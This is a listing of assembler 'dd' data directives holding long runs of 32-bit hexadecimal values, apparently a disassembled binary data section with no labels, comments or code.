dd 2AB6074Bh, 90B29ACFh, 0B01ED5B9h, 0E2F34100h, 0B57CBBA6h
dd 0A08E50F5h, 780508ECh, 0FB01714Bh, 5F5AB322h, 2D406102h
dd 8100A151h, 41DA9D09h, 20DEC6h, 601E8901h, 832840C7h
dd 23009478h, 634DF48Dh, 720CB1D3h, 0CE6E00A4h, 7E2D5419h
dd 228809Dh, 408A0FBh, 82F1DE2Fh, 90391A49h, 0ED9780A0h
dd 0C0A368D6h, 609D78E9h, 280084C4h, 5D627DA6h, 38833817h
dd 0F9856092h, 0C4864D7Eh, 49B00084h, 0D1EB3709h, 0C8007C90h
dd 0E44A3F5Fh, 24C5B8h, 0B140B768h, 4F98E117h, 5880D230h
dd 90E750F3h, 603300C6h, 0F281015Eh, 952ED089h, 280F7C3Dh
dd 3FB3C08Bh, 30A8594h, 0F21BF89Bh, 0F4C0E174h, 0A7268C6Bh
dd 0D506109Ah, 90C0762Eh, 64C20010h, 5D0AF66Ah, 1413B32Bh
dd 9F1FEC9Dh, 9333ABC0h, 6F76FAEh, 0F6B84176h, 49EA3016h
dd 3C30A500h, 0FAE9F15Dh, 7181EE9Fh, 273226B2h, 12370410h
dd 22405E70h, 30F4F1A8h, 0FFE700ABh, 676D2DC5h, 0C60025D0h
dd 5077BB26h, 38AD88DCh, 0B001F9Ch, 0FFE57438h, 0C2304776h
dd 1E2D717Eh, 366F2EDh, 8DC67133h, 29D362E7h, 0CFB22BD8h
dd 30A42200h, 9DDE2EB5h, 0DC0C3C66h, 0C245E680h, 0C155E1D3h
dd 5DCC7050h, 5B65FA0Ah, 0B501C8FEh, 88FC382Fh, 0B8253020h
dd 0BA090350h, 44D56082h, 1593C7D0h, 0E2690B0Fh, 0E7CD45BFh
dd 6756E890h, 0A275248Dh, 856F0388h, 0FCB2A458h, 0C0031C48h
dd 50E22502h, 48C2FB95h, 0E0ABBD9Ch, 31A0014Bh, 62143D7Ch
dd 69712043h, 2E23D501h, 0F8C49B9h, 0D9005821h, 12AA93E1h
dd 9F2742h, 57CCDB7Ch, 607C8053h, 22ACF8A8h, 0A17B9310h
dd 0D84FFF02h, 0CA0031CCh, 0EEE421Ch, 0AB0355D2h, 69C495E0h
dd 8400E059h, 47269B2Bh, 73B8BEEFh, 6CD301B0h, 0AD118042h
dd 387208h, 79386702h, 503ABAAAh, 2C3FF84Ah, 0C008680Ah
dd 0BA273598h, 8FFEE200h, 0EA58E66Fh, 97F0BCh, 8A6DF353h
dd 52D751ABh, 0A924CA04h, 0C4C0F0BDh, 25BF870h, 0C81AA1C1h
dd 0A470234Bh, 0B2F00100h, 1CE370C4h, 0F9F800F2h, 7EDB78DCh
dd 0B31807E4h, 71E8FF0Fh, 0B0CD2AB2h, 0FAAE72C8h, 0BA0214E6h
dd 0C21EB042h, 5D9FC09Eh, 13850A03h, 6EF18E00h, 65C099E2h
dd 0A5410081h, 9617D062h, 2D047B45h, 80363CEBh, 340FC0EEh
dd 0C4003022h, 29A5EEF1h, 7F57D8D4h, 0CD890073h, 7C8CCE6Fh
dd 70307F9Ch, 7E6BC032h, 64AF5913h, 0FDECF600h, 0C1A937A0h
dd 476FD300h, 0AB6207Dh, 0A4181DE6h, 1F922Ah, 695D756Ch
dd 0A00134B0h, 0DCF36B22h, 0BEF4E6ECh, 0E7B6094Dh, 40662DE9h
dd 0C0430700h, 94153E8Fh, 0E30B3B29h, 348E9D00h, 79A1FD60h
dd 688360F3h, 473F377Eh, 44EA8046h, 8149CCAFh, 79B85Ch
dd 898E24D6h, 0B1864F82h, 6787949h, 39831BFCh, 7EFA12D8h
dd 0EF7440F9h, 0FB66F25Bh, 0E0424Ch, 5851CA08h, 71DA319h
dd 5287632Ah, 6A14F059h, 0BD5048D3h, 0A5004FC8h, 4E3FDC34h
dd 10B4DFh, 9DFCC6B8h, 49D4E374h, 59CD243Eh, 48CE0E24h
dd 0F5D2C00Ah, 0B9FEF50h, 291ABE33h, 58614021h, 598340Bh
dd 1C8D4600h, 0F6E62FB6h, 57D70FF0h, 0CCA58F3Dh, 4348088h
dd 9E5C5C2Eh, 318E50ACh, 0BF857200h, 8CC439B1h, 0B2B76630h
dd 9C96F035h, 56CE4B00h, 78F8A2Ch, 4DCB6C19h, 0B16029Dh
dd 6003470h, 0CE50AC0Ah, 85EB9Bh, 0C5295994h, 166C1851h
dd 5DF1738h, 0BDD8318Bh, 8DD3E402h, 333730C9h, 989B59h
dd 0F96CE8B4h, 13E49D4Ch, 0C8550Fh, 0C1094F5Ch, 0A87D65C5h
dd 8B47D03h, 0E14A0EABh, 0A87055AAh, 682C2031h, 0F33CEF12h
dd 908AA849h, 1DF5FD0h, 90E49117h, 0E85345B1h, 8D2C263Ah
dd 4B804841h, 9F20BD34h, 13470CC2h, 8681887Ch, 0FEE3350Eh
dd 0BCBB40C4h, 0EF1DC138h, 3C00803Ch, 69FCE621h, 76C0767Ch
dd 40BC6527h, 6FCB18DEh, 9A1999E7h, 349EDEB0h, 5709F100h
dd 34B29D2h, 2F5B3D4Eh
dd 26C80217h, 3C0C5A16h, 80762C81h, 114500E2h, 945271AEh
dd 0EA3D5998h, 0E0299DA1h, 195067C0h, 15B427Bh, 1CDC0EEEh
dd 0F451B88Fh, 0C800BEDEh, 16A21964h, 1F49F810h, 30B7F4h
dd 0E9B47214h, 0B500A544h, 39717055h, 4CA754h, 79968EF0h
dd 6F219FE8h, 3C926700h, 873D3665h, 60321529h, 0F87F9491h
dd 3114006Ch, 8F2188EBh, 0E700E8ACh, 7499DE48h, 378A383h
dd 316D6A13h, 11E8874Ah, 0C500949Ch, 75CA054Ch, 1F256B7h
dd 77C7558Ch, 70B3BF21h, 3F7628D9h, 0E0C9A8C7h, 0BEF3A2B0h
dd 0F6980027h, 17FB2185h, 0DA0F0D3Fh, 0C7C904BAh, 0E870B784h
dd 0C3ACFA7h, 68E1FDD1h, 3B246131h, 19008C59h, 10BD0B82h
dd 0F03E0015h, 0E992DE66h, 0F8E6EC60h, 9002427Dh, 8DE8BEB2h
dd 0D7E0895Eh, 0DECCB883h, 0D155800h, 5B4B8EFCh, 6E7EB9h
dd 9F0B7F98h, 6B51C939h, 1459CB13h, 0D41C7700h, 0EF647ECh
dd 0F58C2297h, 0EF3B15C1h, 0F8C871FCh, 0E756F4h, 2E4982D8h
dd 680321h, 7FF3CB3Ah, 173FFA6Dh, 42338020h, 91F2E699h
dd 9F453h, 609B3DADh, 0C97372EAh, 7AB32402h, 406B6AAAh
dd 0EEA3326Ch, 14B0DEh, 0EA894EA4h, 0EFB54A78h, 0C8192204h
dd 9892F585h, 3E4D91Bh, 6036C956h, 0F48303A8h, 66078278h
dd 9EF5F14Ah, 7A434BB0h, 96FD04C7h, 0D0E06846h, 0F4B72FC0h
dd 0B09AC01h, 1458375Eh, 0C5E62981h, 80766AFCh, 5A2EB811h
dd 0BD683h, 5E10F9Ah, 706824C8h, 0B2447C50h, 60392B00h
dd 17F5AA77h, 91B903B1h, 5F6848B8h, 1FBC9FD7h, 110140A9h
dd 0EBFE1EDAh, 498F1507h, 418CE551h, 0E43B0020h, 21A24CE1h
dd 3F1EE074h, 0BF4F0AF2h, 731C8040h, 30562D60h, 14A05712h
dd 1000BCAh, 2FC47165h, 0AC94Ah, 0EF2B470Fh, 88357A85h
dd 72DBDF02h, 0C05AD60Ch, 2579DAFFh, 0D8809244h, 0CBBAB8E5h
dd 0E621B00h, 0BD7AC2CEh, 0A8DA3AC9h, 3AED5980h, 4DF74E76h
dd 6A853512h, 6E934A00h, 0EC74B3AEh, 0F93100A5h, 0E6B5F780h
dd 50F9F82Fh, 47BECD84h, 74BA51Dh, 0FE98A240h, 54C877h
dd 7C52B6D6h, 1603AFCDh, 3F408E00h, 5BDC0567h, 0E92C0397h
dd 18C5BDC0h, 14D087FBh, 523E904Ah, 0E8DD0C54h, 13CF1013h
dd 14D9602h, 8EA63522h, 38D041BDh, 2F86D3Ch, 0C25C8B44h
dd 5B904065h, 0B00BE5Ah, 1800221Fh, 2068B154h, 1201F8BCh
dd 11D80F42h, 5FF56420h, 9B1000CFh, 630E97CDh, 0A98BC71Eh
dd 386659C0h, 0B2C62025h, 701549C4h, 5B805100h, 0DCB33765h
dd 56A1F00h, 54EB2B17h, 9D079BEh, 243E7A6Eh, 0A1D784A3h
dd 2C7096F0h, 0BC832A00h, 28DB03F9h, 73170133h, 0E7C1327Ch
dd 0AF9820F4h, 0E94D4E09h, 337C8083h, 737F2961h, 0B77C9Dh
dd 1FEF11C2h, 0FC3E2263h, 33A51801h, 0F53F6271h, 27F4ADCh
dd 2EE79ED4h, 0B4E07CB0h, 7A0064A3h, 726C9BB2h, 0F3EB6DAh
dd 0E71F677Dh, 0F3198200h, 3274AD77h, 44C0DF00h, 3D85ED34h
dd 6BAB00D7h, 1DA5C129h, 390078EFh, 7D1F62F6h, 0B890E7C0h
dd 80C8823Ah, 5373EB73h, 37AF1C64h, 0F470C29Fh, 0EFC0E9E0h
dd 0EC792820h, 0FFB03F7Eh, 0F3EB9700h, 0B12ED835h, 6A0C3FF8h
dd 0B214818Eh, 0B985801Eh, 438D8F4Fh, 0F009EDE4h, 405EB701h
dd 15F5938h, 63F2752Fh, 0C1A8DF72h, 2EFACCBAh, 41D44000h
dd 174F023Eh, 2C375F6Ch, 0E624A40Ch, 0A800A842h, 27AC8195h
dd 406400C6h, 7D4BFE74h, 72FC325h, 61F800E3h, 1E8AFF6h
dd 39FF954Dh, 0C06D81A1h, 0E20078CCh, 1FC158DBh, 2C2846E8h
dd 9C4AFCh, 603A6B32h, 0C413319Dh, 0B4D06170h, 71B9A3Bh
dd 0D86DF444h, 247310BFh, 13FEB9EBh, 0AADACD00h, 58B56EB8h
dd 2E6031Dh, 5616539Bh, 5750D0D0h, 18DF02Fh, 0C0050B6Ch
dd 65A667D8h, 0A4856C35h, 0E5098434h, 180EA58h, 1BBDB620h
dd 0F108E8E6h, 243428B3h, 6DF91DC7h, 0A3B6C76Ah, 0EE76D0B0h
dd 3307B8F0h, 79C49337h, 3D00BD3Fh, 0FC81E2D3h, 3E1F0014h
dd 0FEE48ABEh, 90386D6Eh, 0B2858D2h, 0E8AE1CD4h, 1DD792D8h
dd 40F5304Ah, 0C9214408h, 8800BCFBh, 0B6B8B3FFh, 50E7C616h
dd 7666E836h, 8EA00401h, 8335BF24h, 78540D90h, 4601F060h
dd 0EEEFCFD6h, 4828120Fh, 3660D04h, 0AC94E0ECh, 0BAD3BE0Ch
dd 352B990h, 35020FD6h, 29A01955h, 807DFC7Bh, 0C16E5E02h
dd 0FA71AB8Dh, 0E2BC007Ch, 130A6985h, 18586E91h, 1A680070h
dd 72BBA143h, 623900C2h, 3AAEB0B1h, 6600CEF4h, 337DC6C7h
dd 0F89A7Ah, 4BA6B7A2h, 393E91Ch, 9B7A2298h, 383064E1h
dd 498BFF00h, 5127CC73h, 2F9F0E81h, 0A1E08253h, 9B2D8A96h
dd 37948802h, 569A8691h, 90A80028h, 95B565FEh, 0BD8DF314h
dd 0FD9400C0h, 0E7C8AF02h, 0F033543Fh, 0DFF50024h, 0B3639248h
dd 6C72D0CEh, 6890D570h, 84DBFA0Eh, 0E89181E2h, 998CC673h
dd 76309948h, 0B16CD118h, 3AE27538h, 58000533h, 40F1A1B5h
dd 0B900AA54h, 28F053FBh, 1C0937B1h, 0C0875E8Ah, 2C2F7964h
dd 0D4F1B925h, 7B01C520h, 0D9FE9CACh, 0A0BC172Ah, 48148300h
dd 0A348433h, 0EF6D0C13h, 0DDDB400h, 63A465h, 0CE3E6E14h
dd 5F6A44D8h, 2CAFB900h, 43F2B79h, 65050562h, 0A75E87Ch
dd 706C5060h, 0F8464F1h, 8D706E51h, 0E4CA2C80h, 713948F3h
dd 6F678027h, 5D9AF068h, 0E31E07BDh, 0F075632Ch, 0CD1A7484h
dd 669DD700h, 0AA0EE0EDh, 0B6C40595h, 0C11756C5h, 0C8D7A5B2h
dd 2A0055C6h, 750C3F7Fh, 18060Bh, 0ACBA6E0Ah, 47E46111h
dd 0B6601303h, 80E3C1E6h, 1E0E6878h, 0C01CD0A9h, 30060ADEh
dd 1600E917h, 7AA6A791h, 214105h, 9A229ECAh, 8811091Ah
dd 9B3CDA00h, 7A1E6D57h, 3E5BE6ADh, 0B00B60Ah, 0A8071292h
dd 7E077D2Ch, 1915B174h, 0C0250663h, 0C5D6B4h, 98B5ECCBh
dd 0CEBEF364h, 20C01717h, 7BB9C840h, 0D1386B3Dh, 0BDB10411h
dd 0A2B852E0h, 729EF056h, 0C821664Bh, 25483DF8h, 0CC0E9AE1h
dd 9EBAD540h, 811F3165h, 0C600245Eh, 7CB2E225h, 80A65FE1h
dd 0E647807Dh, 0F96FFB1Ah, 4034ECFEh, 1600D617h, 2F57ECD5h
dd 25687Fh, 97E81A96h, 0CB80ABAh, 5F7DF300h, 0E49139DDh
dd 0C70F02BEh, 4305FD93h, 99FFD860h, 0F96D5900h, 60181926h
dd 78C40049h, 75C5B836h, 7D00C123h, 61E6227Ch, 0B3E0EFh
dd 0B42CE1BDh, 0D13ACD19h, 11CA1303h, 90794CD6h, 0F783566h
dd 19E3EE3Bh, 21062280h, 8A2CF442h, 80495C6Dh, 436234D0h
dd 80592C1Ah, 792400FCh, 3A582AB6h, 2C6FA06h, 0E7CEBA4h
dd 0B8105BD0h, 0FE1C3040h, 2400327Dh, 903928DCh, 1DDE5E1h
dd 5125836Fh, 2E3E2B1Dh, 0CBA67003h, 31E803FDh, 58F563Bh
dd 0FC8E08Fh, 0E4A072BCh, 30B43CC5h, 0B6C1D0Fh, 66B8206Fh
dd 60A55590h, 19CA11AFh, 0D026C354h, 250001F8h, 60D8B480h
dd 7D8300B2h, 0ADD49C49h, 27000221h, 0BB861FFFh, 18C86A9Dh
dd 7139A9E3h, 0ED007438h, 636C36B1h, 0B783DADh, 31DAC860h
dd 0E9CE1E80h, 3B0FA08Dh, 4FB88147h, 4E3FC018h, 6ACC64h
dd 0BCF26C57h, 728EBAF5h, 50AD3Fh, 0DB228343h, 7B42E7Bh
dd 63076D1Ah, 0BBDD73FCh, 80D4C03Ah, 1C894870h, 247304BAh
dd 0F3875D6h, 5D603D32h, 60A740D7h, 7246300Bh, 18286021h
dd 56326D9h, 9AB80744h, 0ADB16C8Bh, 91538101h, 3DBD32D3h
dd 1D80F2Fh, 3750A981h, 4E40802Dh, 5F9E92C7h, 74CE166Ah
dd 1B1C0063h, 0F1A52E32h
dd 4CFD4D02h, 0E949E586h, 0A460183Ch, 7B070CEh, 24319A4Eh
dd 0E54B23EAh, 0FCEB2FE8h, 533E290Fh, 8978C035h, 121A273Bh
dd 0C0E7927Bh, 0A503888Ch, 80FF152Dh, 5CFEE674h, 3D08E2D7h
dd 9F80B760h, 0A846A994h, 710067D5h, 255E3CAFh, 483D17A3h
dd 0CA07B03Eh, 0F0D241AEh, 0D32906EBh, 20D05300h, 7F78DEB0h
dd 3686134Dh, 5CB840A5h, 0EE1CC1F6h, 0F3B83Fh, 259A9996h
dd 0CBDCC8h, 0D5D92A1Bh, 0FCD23654h, 3D0B510Fh, 20C00FEEh
dd 11E1BE2Bh, 0CD4E0374h, 0A5466C1Eh, 43A6FAF0h, 50E70300h
dd 0F365CB6Bh, 86F400DFh, 5DCA1E78h, 38983C17h, 23EE0313h
dd 0A0790C4Fh, 688D11EDh, 79D7890h, 0B80CF8AEh, 384D82A2h
dd 86156068h, 13116500h, 491B6770h, 399900E1h, 33FF623Ah
dd 2B008BCBh, 0ECAA2796h, 27DD0CF4h, 0A060F328h, 0BF0075A4h
dd 0BCEAA0FAh, 94F501ACh, 939000FCh, 94C56B58h, 22F73000h
dd 55E87FECh, 4C079DF8h, 0ED7EB02Fh, 60003912h, 248BA1FEh
dd 0B7AB8Ch, 87AA064h, 0B5CDBCA6h, 0AF005494h, 63DF1845h
dd 736500D7h, 0F9483EB1h, 5500E6C5h, 78A3C72Dh, 1D4A04F8h
dd 4031214Fh, 6DE740ADh, 0C23BDC70h, 0EF3F57h, 0C918AF7h
dd 1F4076D3h, 0DAE468h, 15FFD75Eh, 93003599h, 0CE65D9Bh
dd 13D5F65h, 2488224Dh, 2B4CF392h, 4170BC00h, 349AF2h
dd 9F4BCF6Bh, 64BB5AFEh, 50FFDA00h, 3189621Ah, 2ADC00D8h
dd 71D4D3EBh, 1011E87h, 0EF54672Ch, 0C44265D6h, 18945256h
dd 30139D35h, 0FA071E94h, 0A74BB673h, 3682A09Eh, 901EE3Ch
dd 2C42AFA9h, 70408E8Bh, 0E701C0D7h, 0C61ABD66h, 2D2043CCh
dd 0CED90777h, 505119B6h, 24690EABh, 0C3122F72h, 5C40BB4Ah
dd 79B13130h, 4FB90096h, 62750AC8h, 1EFAD573h, 7457E48h
dd 33688BA8h, 8187A780h, 0D24F38D4h, 180119C8h, 88270995h
dd 0DA9D001h, 444BA324h, 58942801h, 3E5A1Dh, 8EDBF124h
dd 57B8E8C8h, 0B2F0CC90h, 9BBFA600h, 71588485h, 5F5B28h
dd 0A88252FCh, 8903691Ah, 0B8168E92h, 9C9DF868h, 94D2006Ah
dd 0EE47E608h, 36015D21h, 0E414AB60h, 8ED0A8BDh, 3D180063h
dd 0FC52ADE5h, 0CB310A56h, 83E3285Bh, 0E0C3A60h, 51E4E139h
dd 0F6D1B980h, 0C6F4ABF2h, 0C20028FEh, 0E15B02EDh, 95FB85h
dd 53AC10EAh, 4AC55451h, 7B4F0301h, 0C621FFC9h, 0BF67020h
dd 0E692477Ch, 53F95080h, 0A02D5295h, 821AE04Eh, 0D62200CCh
dd 89F76926h, 0BF0032AFh, 8B062E6Bh, 8A3628h, 0E44D225Ah
dd 0F692D35Bh, 0AF0028B8h, 83AA0DD8h, 1D60257h, 0FB5FC2A0h
dd 837B6064h, 2130B228h, 0C1E2D02Dh, 49A82h, 613EA9EEh
dd 4B8AD30Bh, 88439A00h, 8F6FAE85h, 69820079h, 0CC6CAFE3h
dd 4700FB61h, 0D13DD0ACh, 123D7A9h, 0DF0377C5h, 701E4C8Bh
dd 29079F74h, 18A2697Ch, 0FB48DE50h, 3571279Ch, 0BE1F6CC0h
dd 0B86C430Ch, 0AA6089h, 2ED32428h, 4FEE2C68h, 21275C0Eh
dd 4C016BAh, 58DC3343h, 530C3CEAh, 14104239h, 0E10DCD00h
dd 0E74DAC1Ah, 0F2A31D23h, 68AD8B66h, 2763A098h, 8014B92Dh
dd 5DD62518h, 0B2F100B4h, 0B05C6B39h, 6701753Ah, 5F6D43C8h
dd 51DC4DD6h, 9D530198h, 0C361624Fh, 0B3D464B4h, 0A8F80297h
dd 6B82E0EFh, 0E0B0243Fh, 6EB10094h, 0B30E40D1h, 131008A4h
dd 0D61E2578h, 0C00901D0h, 92AF5A5Eh, 0D488E520h, 0B3AD0015h
dd 64F34814h, 2F4BE9E8h, 0E2F85C40h, 84DBF2h, 40930E87h
dd 67A472ABh, 50E008A0h, 0E984C301h, 76E88AFAh, 0EAF22C40h
dd 0DF80A864h, 965252Dh, 0DE081482h, 0FB03F608h, 0E43257Fh
dd 1DCF92AAh, 8637A898h, 7BC82400h, 2C55D1ECh, 45BD0034h
dd 0AA06EAD4h, 9D00DF7Ch, 9A6D7256h, 2EB77E0Dh, 2523B0h
dd 985F605Dh, 0B6FC835Bh, 0FA5A2600h, 0D81DADAEh, 0CC7D18h
dd 1164E443h, 96A39D95h, 0EA9C0B00h, 0E5EF6B0Ch, 238F0016h
dd 78D1B2C9h, 5F014A4Bh, 594642C1h, 0CEE4EDCDh, 1AD21E0Bh
dd 47544068h, 0AAAD6B9Ch, 52B53A00h, 66A41C7Bh, 43F440h
dd 798A281Bh, 0DDD2A75Dh, 7AE07107h, 33003DEBh, 158BEFAh
dd 3E2C1923h, 228C0138h, 1A882E1Ch, 0F5D27F1Ch, 9E52D0Ch
dd 2821C3ADh, 7FB888E8h, 130A9E3Dh, 0C0CF511Ch, 0CC0C1A83h
dd 56B7C821h, 0F1DC0097h, 4CCFFEE1h, 0A860485Ah, 9D342B28h
dd 0EB6009E8h, 0E680045Bh, 193150B6h, 2581A4BEh, 240B8267h
dd 3F29B09Dh, 4DA0A189h, 0AD542800h, 7133CFF0h, 48CE362Eh
dd 98002260h, 7D90D993h, 4D00759Eh, 23112E59h, 353DCEDh
dd 8E7B4713h, 76F07DCEh, 0E70081BBh, 82834028h, 3F91E53h
dd 94968E03h, 428038B7h, 0F800982Ah, 0A7B85C4Bh, 1426C5h
dd 0B35A1634h, 792DFF6Ch, 562F0900h, 9B0251BDh, 0AFD0334Bh
dd 0E990FCFAh, 80E1674h, 600C67F6h, 10582DA7h, 59E80047h
dd 5C2C360Fh, 64014854h, 0BDDAC41Dh, 0F1EBB683h, 0C6D4FD3Eh
dd 2686006Fh, 2F573BA7h, 3800128Eh, 429B7970h, 70C7447Ch
dd 0AB7800B1h, 0CB5A6D20h, 4A00D194h, 53369FA4h, 0DAB559h
dd 0E8AB73D3h, 6F2A14C1h, 40E4E21Eh, 21C0AA1Ch, 7E043CE5h
dd 7C720053h, 0DA8FF2EDh, 41036CA0h, 0D22F264Fh, 0C3CDB030h
dd 9370048h, 0F30D22BAh, 260246E1h, 20F469EAh, 0F0B08373h
dd 9C0AD1D1h, 533DE4h, 80C4D3BAh, 1DAB0318h, 0F2093806h
dd 52D0543Fh, 0E1AE0440h, 8B30AB71h, 273F0F8Ah, 0A7805915h
dd 8E30E990h, 80D6983Ah, 93BF3EE1h, 5E0789h, 0F7D3397h
dd 668AA702h, 981B91FCh, 0DC29C20Dh, 0E37EF20h, 0A4083681h
dd 86EBF844h, 84F22144h, 22F33022h, 0C02288FFh, 211E4222h
dd 28E3141Ah, 7F296311h, 89F4EC84h, 442E0837h, 60440635h
dd 3BF1444Ch, 45558B44h, 1482CA30h, 0F249DE5h, 0F0A02840h
dd 520F5157h, 0E7B7B202h, 26F111FEh, 1D8689Ch, 0CBC00B3Ah
dd 0D78086CFh, 0AFC124E6h, 17A0E5Ch, 0B33D3497h, 67305BC6h
dd 0B49A1E52h, 12D900EAh, 2BD53580h, 93CF2C00h, 0ECA8C36Ch
dd 0A07917BEh, 0B8AB004Fh, 40037BD6h, 11D38613h, 0E03F950Ah
dd 4993DA03h, 37B78896h, 0ECD400F9h, 688CF4D2h, 0D000955Ch
dd 0AECF7481h, 1E048ECBh, 81C37F30h, 6D296A24h, 0E8E2CDC1h
dd 0D00088Ch, 56F32875h, 960764h, 0F0699A2Dh, 5F5C09A4h
dd 17002C92h, 7E1BCFC4h, 7A980C59h, 50A10020h, 80F7477Ch
dd 62000A32h, 84929491h, 18E63D24h, 117A9FA5h, 0F70ED107h
dd 262FB386h, 19BBE8h, 0AB348BD5h, 491FEB14h, 8CE32103h
dd 3B8DC7AAh, 42000C20h, 0CB8393D5h, 0C80025E7h, 0B7952E64h
dd 3CA6740Bh, 2AB0A818h, 2DF481B0h, 7947C703h, 89AA8B3Ch
dd 902473E0h, 0BEEF0001h, 90273926h, 94005803h, 89FA3185h
dd 0E8F7E6AEh, 37950FDAh, 0A60766C2h, 16D740CFh, 84004A92h
dd 4BE06426h, 652790h, 1E08156Fh, 18ACBEC6h, 62AFB1Fh
dd 352CC80h, 63CB25h, 17124A20h, 6ECA5E73h, 217E4C00h
dd 0DCB92A89h, 3E6103EFh, 972DB3F3h, 0AC588DE8h, 81D83601h
dd 0C8193332h, 0E58260h, 0A2E2CAA0h, 1057D9CBh, 6B602E00h
dd 66BE1D97h, 73010025h, 0EF6342B2h, 1C000B35h, 7AD46FF8h
dd 3F5DE75Fh, 2800443Bh, 0AAD5653h, 5800B97Dh, 3A4CDB13h
dd 506BA176h, 5BF462h, 43095A34h, 0F52CBF12h, 50F3B200h
dd 7BA65802h, 486300FDh, 388FD5A4h, 8B007DB3h, 62E5A31Ah
dd 0E2BA8A52h, 0AC31005Fh
dd 47EFAD1Bh, 7D0087C2h, 904C9432h, 0E834BCA1h, 2417F6D7h
dd 0C52CCAB7h, 8FB4019Ah, 2440C64Eh, 0C200212Ch, 3FC8E38h
dd 1ED481D3h, 0FA22Bh, 0A77D26D2h, 0E30061BBh, 0AB5A9B06h
dd 15BFED7Eh, 0FC7C02DEh, 0D4B88B00h, 2EFAD0E7h, 94281D12h
dd 0C38C5F0Eh, 0B8D15110h, 70C2968h, 0BEC3FCD0h, 0E39DE0A3h
dd 0C10028EAh, 2A3B65BAh, 0B99E07h, 0FB270882h, 51536AA5h
dd 3523CA01h, 2A950FF1h, 0EEC420h, 4B527ACDh, 0E4E0B093h
dd 1BE70900h, 0DB946B95h, 0C7B800D0h, 0EF8C6D3Ah, 53079699h
dd 7D5B100Dh, 1D894C70h, 1FD99058h, 80B48828h, 5C0EDC76h
dd 187E6F79h, 4BF6B006h, 543B57h, 5BB1C92h, 39F2BDD4h
dd 0F8855530h, 0D041C8h, 61F3F174h, 5DDFD8D3h, 0C92C3100h
dd 0A11E8EFCh, 466000EFh, 0F2751B6Eh, 26000147h, 0FBA96FCAh
dd 9E9737h, 68BBE691h, 783BF117h, 39C6EB00h, 0A719EA72h
dd 4E5E02E9h, 4DAC185Ch, 63EEB040h, 0B2AAE003h, 0C19A92D7h
dd 328029D8h, 0E4A294E5h, 781F7B07h, 6406937h, 84B33574h
dd 7CD148A9h, 0EB7A6200h, 1E9CEEC4h, 581445F6h, 0A02897h
dd 0AB8C50DCh, 457301Ch, 4BCF01B0h, 1278C0A7h, 0B312844Fh
dd 4C936h, 0E341FF3Ah, 70D0561Ch, 0C81EE9FAh, 9071431h
dd 0EF04B084h, 0AB178CC0h, 0B4DB0143h, 6DA82034h, 0A2A864FEh
dd 847EC005h, 0C91021A1h, 8BBE0180h, 578E62DBh, 75E79880h
dd 2F48BC92h, 3F264498h, 0E2839CECh, 3862CE1h, 6034BF88h
dd 90C9BB73h, 0A646D089h, 90AAF624h, 0C0438F00h, 77B22Ah
dd 0E3FCE91h, 8B901D2Ch, 0B507671Eh, 0B8046F03h, 0BA02C713h
dd 1C15603Ah, 178301F7h, 6FF5B603h, 6EC8CF3Bh, 0A4004291h
dd 9A09EB56h, 57750CCh, 714946DFh, 0BB228025h, 48003928h
dd 16584E93h, 0EB6D4Bh, 67A4FB14h, 0F4B5023Fh, 9C305D03h
dd 0E023889Bh, 7BCBE55h, 665F1D60h, 0F8AD6010h, 0F9002B36h
dd 759EF79h, 7D2F95h, 7C481474h, 6721A231h, 0A5033202h
dd 0C10E98D6h, 25C484C1h, 71EF3E56h, 9590DF00h, 359F03BDh
dd 4FF2BCA0h, 492A3F00h, 1F1C653Ah, 8893832h, 0ABB00700h
dd 94DBF2CDh, 0D100BFFEh, 0FBE2563Fh, 7AAE27h, 67019022h
dd 0BBD4644Bh, 7CEC2EFCh, 0D21A0700h, 0DB7A3439h, 0E04A48E3h
dd 7433EC00h, 0BF584FEDh, 9501D0B0h, 0D4395E79h, 9B3045C2h
dd 0ADCA03B1h, 0D19C84DFh, 0BFDC17A8h, 3D409658h, 43BC00A5h
dd 0F2501D8Bh, 8A3A004Eh, 9D6CC06Ah, 0CF01D5CAh, 2D383709h
dd 0E430A1B7h, 158D12CCh, 0F68440B5h, 0C68595C0h, 4AB60700h
dd 0B174A4A0h, 76CC1D48h, 9F23CB2Eh, 0D4021000h, 0F804A3CDh
dd 1887B535h, 551F30C0h, 81951F11h, 0AEDA0076h, 0A5E88FACh
dd 0E7860D00h, 1C5AE3C8h, 52EB0FD0h, 49005637h, 0F12C7BD1h
dd 6C0B1300h, 2E446E42h, 0B2A300EEh, 0A2E765E9h, 0FA00896Ah
dd 91D5DF8Dh, 11C113h, 928EC917h, 9D3C18AFh, 8C77E1Dh
dd 9C832280h, 1DA08431h, 6489CD2Eh, 4FC007Ch, 0BE363B8Bh
dd 0B967E00h, 70E54AA2h, 0BF05008Dh, 19AB65B2h, 0D2012BBAh
dd 0CD8BF64Eh, 75F40E92h, 0DB6C0024h, 0FE5F3F89h, 3612C523h
dd 0C40061F6h, 50A4837Dh, 20590104h, 4FD87F1Dh, 0E86C21F0h
dd 0AF169AFFh, 0C8108F99h, 0E2C8B010h, 0B3CA28CEh, 4C201FFCh
dd 1400F8F2h, 81D9FCDBh, 0DF00548Bh, 0C12E429Dh, 9EE2C9h
dd 0F6DA92C7h, 245BB5CFh, 711F74EAh, 77C03BADh, 3FCDE130h
dd 0F8670055h, 0B1DF0AB4h, 10E08BA8h, 0D2BE3500h, 0A63CEEF2h
dd 0D9690058h, 0F2A8F75h, 0F075D3B6h, 44F1DD00h, 0F66F8341h
dd 12BA0013h, 0A899FB24h, 7E161D02h, 0C00B2A4h, 4CE6503h
dd 95100262h, 0A77AE75Dh, 0C9D1F2E0h, 3787E800h, 9276F198h
dd 2B170086h, 27DF7E8Ah, 0F300A659h, 4A9AB20h, 0BF57CD4h
dd 0C3FA3D64h, 0B2D9200h, 0C12DDD3h, 7420664Dh, 0FC0205C8h
dd 9BD4003Fh, 0DFE1BF53h, 7D024F0Ah, 0C39366B6h, 0A3AD60A4h
dd 0FC2A009Bh, 19BE05C6h, 3200A5C5h, 0E0FA56EFh, 0E693EDBh
dd 2515B7CAh, 6D468A23h, 1AA730F8h, 577AA016h, 17E400ABh
dd 9FA23D4Bh, 29F0FB00h, 0A81F3351h, 0ACFC4D5Bh, 80B42C1Dh
dd 0EEAE258Bh, 525D7B61h, 0B53D0044h, 6612620Fh, 0FBEA0B6Eh
dd 68009EC2h, 0E27EA2BDh, 5C3A2800h, 8A0FF90Bh, 9513042Fh
dd 8062C625h, 7573AD30h, 1AAA1C0Bh, 0AF8E80F4h, 0C2CBBBh
dd 0C00A8CC3h, 0F1794DB5h, 8300587Ch, 7E225B03h, 1C08195Ah
dd 3DA154A5h, 4DB6685h, 95489002h, 61E36006h, 43F0C310h
